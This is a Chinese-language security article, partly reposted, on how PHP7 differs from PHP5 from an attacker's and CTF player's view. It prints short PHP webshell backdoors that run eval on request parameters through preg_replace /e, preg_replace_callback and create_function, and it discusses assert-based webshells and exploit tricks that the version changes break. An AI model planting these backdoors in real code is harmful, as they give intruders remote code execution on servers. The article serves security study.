php5与php7安全性的区别

0X01 前言

本篇文章大多为转载，但是修正了一些不正确的说法，对某些功能点的变更指出具体是哪个版本变更，加入了一些小更新。

（原文地址：https://www.freebuf.com/articles/web/197013.html ，作者：温酒）

0x02 正文

函数修改

preg_replace()不再支持/e修饰符

1 2 3

<?php preg_replace("/.*/e",$_GET["h"],"."); ?>

利用\e修饰符执行代码的后门大家也用了不少了，具体看官方的这段描述:

如果设置了这个被弃用的修饰符， preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式)，并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

很不幸，在PHP7以上版本不在支持\e修饰符，同时官方给了我们一个新的函数preg_replace_callback：

这里我们稍微改动一下就可以利用它当我们的后门：

1 2 3

<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>

create_function()被废弃（废弃于php 7.2，但依然可用）

1 2 3

<?php $func =create_function('',$_POST['cmd']);$func(); ?>

少了一种可以利用当后门的函数，实际上它是通过执行eval实现的。可有可无。

mysql_*系列全员移除

如果你要在PHP7上面用老版本的mysql_*系列函数需要你自己去额外装了，官方不在自带，现在官方推荐的是mysqli或者pdo_mysql。这是否预示着未来SQL注入漏洞在PHP上的大幅减少呢~

去特么的预示，我已经很久没在目标站上挖到过sql注入了，全都是预编译！

unserialize()增加一个可选白名单参数

$data = unserialize($serializedObj1 , ["allowed_classes" => true]);
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);

其实就是一个白名单，如果反序列数据里面的类名不在这个白名单内，就会报错。

像这样的报错！

可以是类名也可以是布尔数据，如果是FALSE就会将所有的对象都转换为__PHP_Incomplete_Class对象。TRUE是无限制。也可以传入类名实现白名单。

妈的，还好现在是可选不是必选，要是默认FALSE逼程序员弄白名单那就真的吐血了。

assert()默认不在可以执行代码，（废弃于php7.2，但依然可用）

这就是众多马不能用的罪魁祸首了，太多的马用assert()来执行代码了，这个更新基本就团灭，一般情况下修改成eval即可正常运行了~

提一下，菜刀在实现文件管理器的时候用的恰好也是assert函数，这导致菜刀没办法在PHP7上正常运行。

语法修改

foreach不再改变内部数组指针

1 2 3 4 5 6 7 8 9 10 11

<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){     echo ""; } print_r($a); foreach ($a as $k=>$n){     echo "";   } print_r($a);

　　

这样的代码在php5中，是这样的执行结果：因为数组最后一个元素的 $value 引用在 foreach 循环之后仍会保留，在第二个循环的时候实际上是对之前的指针不断的赋值。php7中通过值遍历时，操作的值为数组的副本，不在对后续操作进行影响。

这个改动影响了某些cms的洞在PHP7上无法利用了….你知道我指的是哪个洞的。

这个问题在PHP7.0.0以后的版本又被改回去了，只影响这一个版本。

8进制字符容错率降低

在php5版本，如果一个八进制字符如果含有无效数字，该无效数字将被静默删节。

1 2 3 4 5 6

<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){         echo ": )". "\n"; }

　　

比如这样的代码在php5中的执行结果如下：

但是在php7里面会触发一个解析错误。

这个问题同样在PHP7.0.0以后的版本又被改回去了，只影响这一个版本。

十六进制字符串不再被认为是数字

这个修改一出，以后CTF套路会少很多啊~

很多骚操作都不能用了~

这个没什么好说的，大家都懂。

1 2 3 4 5 6

<?php var_dump("0x123" == "291"); var_dump(is_numeric("0x123")); var_dump("0xe" + "0x1"); var_dump(substr("foo", "0x1")); ?>

　　

以上代码在PHP5运行结果如下：

PHP7运行结果如下：

你以为我要说这个在后续版本被改回去了？不，目前截至最新的PHP7.3版本依然没有改回去的征兆，官方称不会在改了。这个讲道理还是蛮伤的。

移除了 ASP 和 script PHP 标签

现在只有<?php ?>这样的标签能在php7上运行了。（PS：还可以使用<?= ?>）

字面意思，影响其实不是很大（只是以后骚套路会少一点）。

超大浮点数类型转换截断

将浮点数转换为整数的时候，如果浮点数值太大，导致无法以整数表达的情况下， 在PHP5的版本中，转换会直接将整数截断，并不会引发错误。 在PHP7中，会报错。

CTF又少一个出题套路，这个问题我只在CTF上见过，影响应该不大。

用户定义函数传递参数数量容错率降低（PHP7.1之后）

php 5，虽然报警告，但是依旧可以执行

php 7.0同样

php 7.1 直接抛出错误

此选项的变化导致能玩的花样受到了限制，容错率降低了。

eval()代码执行容错率降低（php 7.0之后）

意思是，在执行eval()代码中有错误，将会直接返回，不会再执行。

php 5

php 7

杂项

exec(), system() passthru()函数对 NULL 增加了保护.

list()不再能解开字符串string变量

$HTTP_RAW_POST_DATA 被移除

__autoload() 方法被废弃（废弃于php 7.2）

parse_str() 不加第二个参数会直接把字符串导入当前的符号表，如果加了就会转换称一个数组。现在是第二个参数是强行选项了。（变更于php 7.2，第二个参数应为建议，不强制，依旧可以不使用第二个参数）

统一不同平台下的整型长度

session_start() 可以加入一个数组覆盖php.ini的配置